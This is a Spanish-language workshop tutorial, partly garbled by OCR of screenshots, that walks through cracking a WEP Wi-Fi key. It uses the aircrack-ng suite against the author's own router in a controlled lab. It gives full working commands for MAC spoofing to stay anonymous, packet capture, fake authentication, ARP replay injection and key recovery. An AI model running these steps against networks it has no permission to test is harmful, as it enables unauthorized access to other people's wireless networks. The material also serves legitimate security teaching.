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Introduccion tedrica.

El atague ARP o ARP Request es el ataque mas efectivo para generar IVs (vectores de inicializacion), El
programa escucha hasta encontrar un paguete ARP y cuando lo encuentra lo retransmite hacia el punto
de acceso. Esto provoca que el punto de acceso tenga que repetir el paquete ARP con un IV nuevo. El
programa retransmite el mismo paquete ARP una y otra vez. Pero, cada paquete ARP repetido por el AP
tiene un IV nuevo. Todos estos nuevos Vs nos permitiran averiguar la clave WEP.

ARP es un protocolo de resolucion de direcciones: Es un protocolo TCP/IP usado para convertir una
direccién IP en una direccidn fisica, como por ejemplo una direccion Ethernet. Un cliente que desea
obtener una direccidn envia a todo el que le escuche (broadcasts) una peticién ARP (ARP request)
dentro de la red TCP/IP. El cliente de la red que tenga esa direccidn que se pide contestara diciendo cual
es su direccion fisica.

Extraido de aircrack-ng
Para este taller, utilizaremos lo siguiente:

PC con Kali Linux
USB Wifi TP-Link (TL-WN7200ND)
Router Nisuta (NS-WIR150NE)

Pueden usar cualquier distro de linux con la suite de Aircrack, pero en lo personal prefiero utilizar Kali
por lo que ya viene preparado para este tipo de cosas.

La antena que utilizaré es una de las mejores para inyectar paquetes al router. Pero pueden usar
cualquier otra cuyo chipset inyecte paquetes.

Finalmente usaré un router Nisuta que tengo en casa. Este taller serd montado en un ambiente
controlado para no comprometer la seguridad de terceros. Le colocaré la contrasefia UndercOde.org
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NISUTA I

#System Status

¢#Setup Wizard
Security Settings

+Advanced Settings

+*WLAN Settings SSID -- "UndercOde”
#Basic Settings Security Mode Mixed WEP v
¢Security
Settings Default Key Keyl ~
¢*Advanced I WEP Key 1 : Underc0de.org ASCIl ~ I
Settings
SR WEP Key 2 : Hex ~
*WPS Settings :
WEP Key 3 : ex v
+WDS Settings x
WEP Key 4 : Hex ~

*#Access Control

Aclaracion general, todos los parametros colocados de color azul, pueden variar dependiendo del
escenario en el que se encuentren. Estos valores son (Interface de red, MAC, Canal, etc)



Cambiando la MAC de nuestra interface.

Recomiendo cambiar la MAC de la interface por dos motivos.

- Es mas facil de recordar (la usaremos en varios pasos del ataque)
- El ataque sera andénimo ya que saldra una MAC falsa.

Para cambiar la MAC debemos tipear lo siguiente:

root@antrax: ~

Archivo Editar Ver Buscar Terminal Ayuda

:~# airmon-ng 1

Interface Chipset

1) Listamos las interfaces de red conectadas con el comando
airmon-ng

Nota: En mi caso aparecen 2 (wlan0O y wlanl) esto es porque aircrack estd detectando la interface de la
notebook y el USB Wifi que tengo conectado. Pero a lo largo del taller, usaré la wlan1 que es la del USB
Wifi por que la interface de mi notebook no sirve para inyectar paquetes.

2) Detenemos nuestra interface con el siguiente comando

airmon-ng stop wlanl

3) Finalmente tiramos la interface para poder cambiarle la MAC

ifconfig wlan1l down



4) Cambiamos nuestra MAC por una mas facil de recordar

macchanger --mac 00:11:22:33:44:55 wlan1l

Scanneo y seleccidon de una red

Lo que haremos en este paso, serd scannear todas las redes que tengamos cerca y buscaremos una con
cifrado WEP. Para ello, debemos tipear en la consola el siguiente comando:

airodump-ng wlanl

root@antrax: ~

Archivo Editar Ver Buscar Terminal Ayuda

17:08
2 3 4
#Data, #/s CH MB  ENC CIPHER AUTH E

CCMP
WEP

A continuacion veremos las columnas enumeradas que son importantes y que las usaremos en algunos
de los pasos.

1) BSSID: Es la MAC del router.

2) #Data: Indica la cantidad de IVs capturados (Son los que necesitaremos para sacar la clave)
3) CH: Channel o Canal

4) ENC: Cifrado de la red

5) ESSID: Nombre de la red

Es necesario recordar el BSSID de la red que atacaremos, el canal y el ESSID. Recomiendo que lo dejen
anotado en algun lado.
En este caso, atacaremos a la red UndercOde, que posee un cifrado WEP.



Presionamos la combinacién de teclas: CTRL + Cy esto detendra el scanneo, permitiéndonos ingresar
otro comando.

airodump-ng -c 12 -w undercOde --bssid 00:0A:52:23:A6:F8 wlanl
Repasemos los parametros de este comando:

-c (indicamos que es el canal 12)
-w (indicamos como se llamarad el archivo que contenga los IVs capturados)
--bssid (Indicamos la MAC del router que atacaremos)

Al ingresar este comando, comenzaremos a capturar los IVs de esta red.

r

root@antrax: ~

Archive Editar Ver Buscar Terminal Ayuda

#Data, #/s CH MB ENC CIPHER AUTH ESSID
-80 1008 249 7 1 12 54e WEP WEF 0PN  Under

STATION WR ate Lost Frames P

78 Cliente conectado

Esta pantalla es muy similar a la anterior, solo que ahora estamos capturando los #Data o Vs que son los
gue utilizaremos mas adelante para romper la clave.

Como se puede ver también, tiene un cliente conectado. Esto es muy favorable, ya que el cliente
produce trafico en la red y facilitara la captura de IVs.

A esta consola no debemos cerrarla, ya que permanentemente estara capturando datos.

Asociacion a la red e inyectar trafico.

En una nueva consola, nos asociaremos a la red y haremos un ARP para inyectarle mayor trafico. Esto
hara que capturemos IVs a mayor velocidad.



root@antrax: ~

Archivo Editar Ver Buscar Terminal Ayuda
~# aireplay-ng -1 @ -a I BA:R2:23:A6:FB BE:1] :33:44:55 -2 Und
wlanl 1
: Waiting for beacon frame (BSSID: 00:0A: :AB:FB) on channel 12

Sending Authentication Re

Sending A

1) Nos asociamos a la red con el siguiente comando:

aireplay-ng -1 0 —a 00:0A:52:23:A6:F8 —h 00:11:22:33:44:55 —e UndercOde wlanl
Rapidamente comentaré los parametros de este comando

-1 (Indicamos que haremos una autenticacion falsa)
0 (El tiempo de re asociacion en segundos)

-a (MAC del router)

-h (Nuestra MAC)

-e (ESSID o Nombre de la red)

Al ejecutar este comando, en caso de que todo saliera bien, deberia decirnos Association successful :-)
En caso de que no nos diga eso, algunas de las razones son las siguientes:

- Estamos muy lejos del router
- Nuestra interface de red no sirve para inyectar
- El router tiene algun tipo de proteccidn contra ataques de este tipo.
2) Inyectamos trafico a la red con el siguiente comando
aireplay-ng -3 -b 00:0A:52:23:A6:F8 -h 00:11:22:33:44:55 wlanl

El -3 indica que haremos un ARP Request a la red (el ataque que estamos realizando)

-b (MAC del router)
-h (Nuestra MAC)



Al ejecutar este comando, podremos ver como los #Data aumentan rdpidamente y como inyecta
paquetes

- root@antrax: ~

Archivo Editar WVer Buscar Terminal Ayuda
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En la imagen se puede apreciar como en la consola de atrds, inyectamos y realizamos el ARP, mientras
gue en la consola de adelante vemos como incrementan los #Data que necesitamos para romper la
pass.

Reventando la contrasena

Si llegamos a este paso, es porque todo nos ha salido a la perfeccidn y solo nos queda tomar todos los
#Data o IVs capturados y descifrar la contrasefna. Para ello ejecutamos el siguiente comando

aircrack undercOde-01.cap

El nombre undercOde puede variar dependiendo el nombre que le hayan puesto ustedes en el paso 3 de
este taller en el pardmetro —w
Al ejecutar este ultimo comando, veran como lo intenta descifrar.



Archivo Editar Ver Buscar Terminal Ayuda
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Si tenemos una buena cantidad de Vs, es muy posible que rompamos la clave. En caso de que no la
rompa, simplemente es porque necesitamos capturar mas IVs.

root@antrax: ~

Archivo Editar Ver Buscar Terminal Ayuda

Como podran ver, hemos obtenido la contrasefial



